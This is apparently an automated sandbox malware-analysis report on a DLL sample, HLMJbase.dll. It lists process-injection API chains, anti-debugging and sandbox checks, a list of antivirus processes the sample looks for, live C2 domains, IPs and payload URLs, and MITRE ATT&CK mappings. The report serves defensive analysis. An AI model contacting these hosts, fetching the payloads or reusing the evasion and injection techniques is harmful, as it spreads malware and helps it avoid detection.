Source: Amcache.hve.8.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.8.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6CC016E3 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_6CC016E3

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054D04AB VirtualProtect ?,-00000001,00000104,?

4_2_054D04AB

Source: C:\Windows\SysWOW64\rundll32.exe

3_2_6CBEC9B0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04CF00CD mov eax, dword ptr fs:[00000030h]		4_2_04CF00CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_046C00CD mov eax, dword ptr fs:[00000030h]		5_2_046C00CD

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6CC05070 GetProcessHeap,HeapAlloc,

3_2_6CC05070

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC01C22 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6CC01C22
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC016E3 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6CC016E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048D6530 SetUnhandledExceptionFilter,GetConsoleWindow,ShowWindow,GetCurrentThreadId,PostThreadMessageA,GetInputState,CreateThread,WaitForSingleObject,CloseHandle,Sleep,	4_2_048D6530
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048D69D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_048D69D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048D8678 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_048D8678
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048DAFAE SetUnhandledExceptionFilter,	4_2_048DAFAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054CDE70 Sleep,CloseHandle,GetLocalTime,wsprintfW,SetUnhandledExceptionFilter,CloseHandle,EnumWindows,EnumWindows,Sleep,EnumWindows,Sleep,CreateEventA,Sleep,RegOpenKeyExW,RegQueryValueExW,CloseHandle,Sleep,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,	4_2_054CDE70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054CEF64 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_054CEF64
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054D1EC7 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_054D1EC7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04336530 SetUnhandledExceptionFilter,GetConsoleWindow,ShowWindow,GetCurrentThreadId,PostThreadMessageA,GetInputState,CreateThread,WaitForSingleObject,CloseHandle,Sleep,	5_2_04336530
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_043369D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_043369D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04338678 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_04338678
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0433AFAE SetUnhandledExceptionFilter,	5_2_0433AFAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E8DE70 Sleep,CloseHandle,GetLocalTime,wsprintfW,SetUnhandledExceptionFilter,CloseHandle,EnumWindows,EnumWindows,Sleep,EnumWindows,Sleep,CreateEventA,Sleep,RegOpenKeyExW,RegQueryValueExW,CloseHandle,Sleep,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,	5_2_04E8DE70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E91EC7 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_04E91EC7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E8EF64 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_04E8EF64

Source: C:\Windows\SysWOW64\rundll32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 38.147.186.138 443			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.204.213.99 7688			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_048D5830 _memset,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,VirtualAllocEx,WriteProcessMemory,GetThreadContext,SetThreadContext,ResumeThread,

4_2_048D5830

Contains functionality to inject threads in other processes

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054C7760 Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread,		4_2_054C7760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E87760 Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread,		5_2_04E87760

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\SysWOW64\svchost.exe	4_2_054C7760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\System32\svchost.exe	4_2_054C7760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\SysWOW64\svchost.exe	5_2_04E87760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\System32\svchost.exe	5_2_04E87760

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1

Jump to behavior

Source: rundll32.exe, 00000004.00000003.3595673865.0000000006356000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3607417606.0000000005C06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0 min571345Windows 10 Pro10.0.190454HDD:1WW 223 Gb Free 168 Gb Mem: 8 Gb Free2 Gb Microsoft Basic Render Driver 0 5140 Microsoft Basic Render Driver 0 5140 Program Manager
Source: rundll32.exe, 00000004.00000002.4182957404.0000000005634000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: inProgram Manager
Source: rundll32.exe, 00000004.00000003.3784105886.0000000006352000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3595132241.0000000006352000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3607310533.0000000005C02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .168.2.4 0 min571345Windows 10 Pro10.0.190454HDD:1WW 223 Gb Free 168 Gb Mem: 8 Gb Free2 Gb Microsoft Basic Render Driver 0 5140 Microsoft Basic Render Driver 0 5140 Program Manager
Source: rundll32.exe, 00000004.00000003.1892014772.00000000062F2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1925447650.0000000005BA2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .168.2.4 0 min571345Windows 10 Pro10.0.190454HDD:1WW 223 Gb Free 168 Gb Mem: 8 Gb Free3 Gb Microsoft Basic Render Driver 0 5140 Microsoft Basic Render Driver 0 5140 Program Manager

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,		4_2_054C53C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,		5_2_04E853C0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6CC0130C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_6CC0130C

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054D5D95 __lock,wsprintfW,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

4_2_054D5D95

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054C6A00 wsprintfW,GetCurrentProcessId,wsprintfW,_memset,GetVersionExW,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,wsprintfW,

4_2_054C6A00

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: rundll32.exe	Binary or memory string: acs.exe
Source: rundll32.exe	Binary or memory string: avcenter.exe
Source: rundll32.exe	Binary or memory string: kxetray.exe
Source: rundll32.exe	Binary or memory string: vsserv.exe
Source: rundll32.exe	Binary or memory string: cfp.exe
Source: rundll32.exe	Binary or memory string: avp.exe
Source: rundll32.exe	Binary or memory string: KSafeTray.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: rundll32.exe	Binary or memory string: 360Safe.exe
Source: rundll32.exe	Binary or memory string: 360tray.exe
Source: rundll32.exe	Binary or memory string: rtvscan.exe
Source: rundll32.exe	Binary or memory string: TMBMSRV.exe
Source: rundll32.exe	Binary or memory string: ashDisp.exe
Source: rundll32.exe	Binary or memory string: 360Tray.exe
Source: rundll32.exe	Binary or memory string: avgwdsvc.exe
Source: rundll32.exe	Binary or memory string: AYAgent.aye
Source: rundll32.exe	Binary or memory string: RavMonD.exe
Source: rundll32.exe	Binary or memory string: QUHLPSVC.EXE
Source: Amcache.hve.8.dr	Binary or memory string: MsMpEng.exe
Source: rundll32.exe	Binary or memory string: Mcshield.exe
Source: rundll32.exe	Binary or memory string: K7TSecurity.exe

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6CBE768C bind,GetLastError,

3_2_6CBE768C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	322 Process Injection	2 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	121 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	17 System Information Discovery	Distributed Component Object Model	2 Clipboard Data	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	322 Process Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Indicator Removal	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
HLMJbase.dll	3%	Virustotal		Browse
HLMJbase.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dcttx.com	38.147.186.138	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://dcttx.com/19/77.bin	rundll32.exe, 00000003.00000003.1770310682.0000000002887000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1739047373.0000000002888000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1738900816.00000000028C2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1738731092.0000000002D12000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1768941964.0000000002CD6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1738872358.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4176037293.0000000002C9A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1833709462.0000000002CBD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1763620953.00000000027C1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1844676174.000000000276D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2355356834.000000000277B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2891476609.000000000277B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1763776267.0000000002787000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1795184851.000000000276D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3064884794.000000000277B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4176187047.000000000276C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2739932660.000000000277B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1795350329.0000000002785000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/7.txtFailed	rundll32.exe, rundll32.exe, 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.4184561254.000000006CC06000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.4183830787.000000006CC06000.00000002.00000001.01000000.00000003.sdmp, HLMJbase.dll	false	unknown
http://upx.sf.net	Amcache.hve.8.dr	false	high
https://dcttx.com/19/7.txtp	rundll32.exe, 00000005.00000003.1763776267.0000000002787000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/7.txt	rundll32.exe, 00000003.00000003.1739047373.0000000002888000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.2008105051.000000000284A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1738872358.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1763776267.0000000002787000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/7.txt.	rundll32.exe, 00000004.00000003.1738872358.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/77.binH	rundll32.exe, 00000003.00000002.2008196874.0000000002888000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1770250771.000000000286B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1770310682.0000000002887000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/7.txtD	rundll32.exe, 00000003.00000002.2008105051.000000000284A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://dcttx.com/19/77.bin.	rundll32.exe, 00000003.00000002.2008196874.0000000002888000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1770250771.000000000286B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1770310682.0000000002887000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
38.147.186.138	dcttx.com	United States		138576	CODECCLOUD-AS-APCodecCloudHKLimitedHK	true
45.204.213.99	unknown	Seychelles		134705	ITACE-AS-APItaceInternationalLimitedHK	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579416
Start date and time:	2024-12-22 09:16:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	HLMJbase.dll
Detection:	MAL
Classification:	mal72.spyw.evad.winDLL@11/5@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 47 Number of non-executed functions: 110
Cookbook Comments:	Found application associated with file extension: .dll Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94, 40.126.53.15, 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:17:05	API Interceptor	1x Sleep call for process: loaddll32.exe modified
03:17:31	API Interceptor	1x Sleep call for process: WerFault.exe modified
03:17:47	API Interceptor	9061248x Sleep call for process: rundll32.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CODECCLOUD-AS-APCodecCloudHKLimitedHK	http://www.wagtg.com	Get hash	malicious	Unknown	Browse	45.152.115.161
	ULRmk7oYR7.elf	Get hash	malicious	Mirai	Browse	38.147.162.173
	file.exe	Get hash	malicious	Reverse SSH	Browse	45.152.67.101
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
ITACE-AS-APItaceInternationalLimitedHK	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	154.223.235.4
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	154.194.197.213
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	154.91.87.201
	b3astmode.mpsl.elf	Get hash	malicious	Mirai	Browse	156.237.86.243
	ppc.elf	Get hash	malicious	Mirai	Browse	156.230.199.0
	hax.mpsl.elf	Get hash	malicious	Mirai	Browse	156.227.127.152
	hax.arm5.elf	Get hash	malicious	Mirai	Browse	156.237.86.244
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.235.45.122
	nshmpsl.elf	Get hash	malicious	Mirai	Browse	156.235.45.170
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	45.118.249.116

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	swift-bootstrapper.exe	Get hash	malicious	Unknown	Browse	38.147.186.138
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	38.147.186.138
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	38.147.186.138
	Company Information.pdf.lnk	Get hash	malicious	Unknown	Browse	38.147.186.138
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	38.147.186.138
	Fatura227Pendente576.pdf674.msi	Get hash	malicious	Unknown	Browse	38.147.186.138
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	38.147.186.138

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_9eed531829db6b26bc5814abaa08fa0abb4016_7522e4b5_42bfc73a-d9f4-496f-832b-eedd7e9b617c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9980899760311247
Encrypted:	false
SSDEEP:	192:K9ziYOCQB0MnbUYjeTCd+zuiFCZ24IO84ci:4iJ9CMbUYjerzuiFCY4IO84ci
MD5:	90714922E7230164D9ADF832CCF66281
SHA1:	62B5394621CC9FCCDE6C35CB0209625418818685
SHA-256:	62F5C29FCF21C69DB33FC0E12797A94B6C955A1BD3FEEEEC7FD4487D45C59C98
SHA-512:	2C07A29ED699068BE52BCCC1F931BE28C02A1FDBCF64420CD86B25FDDAABC9561123E3ADA5B0E98652208CCA53E0E0424BCCAE4E230D618AE317BA77BF0EE8D2
Malicious:	false
Reputation:	low
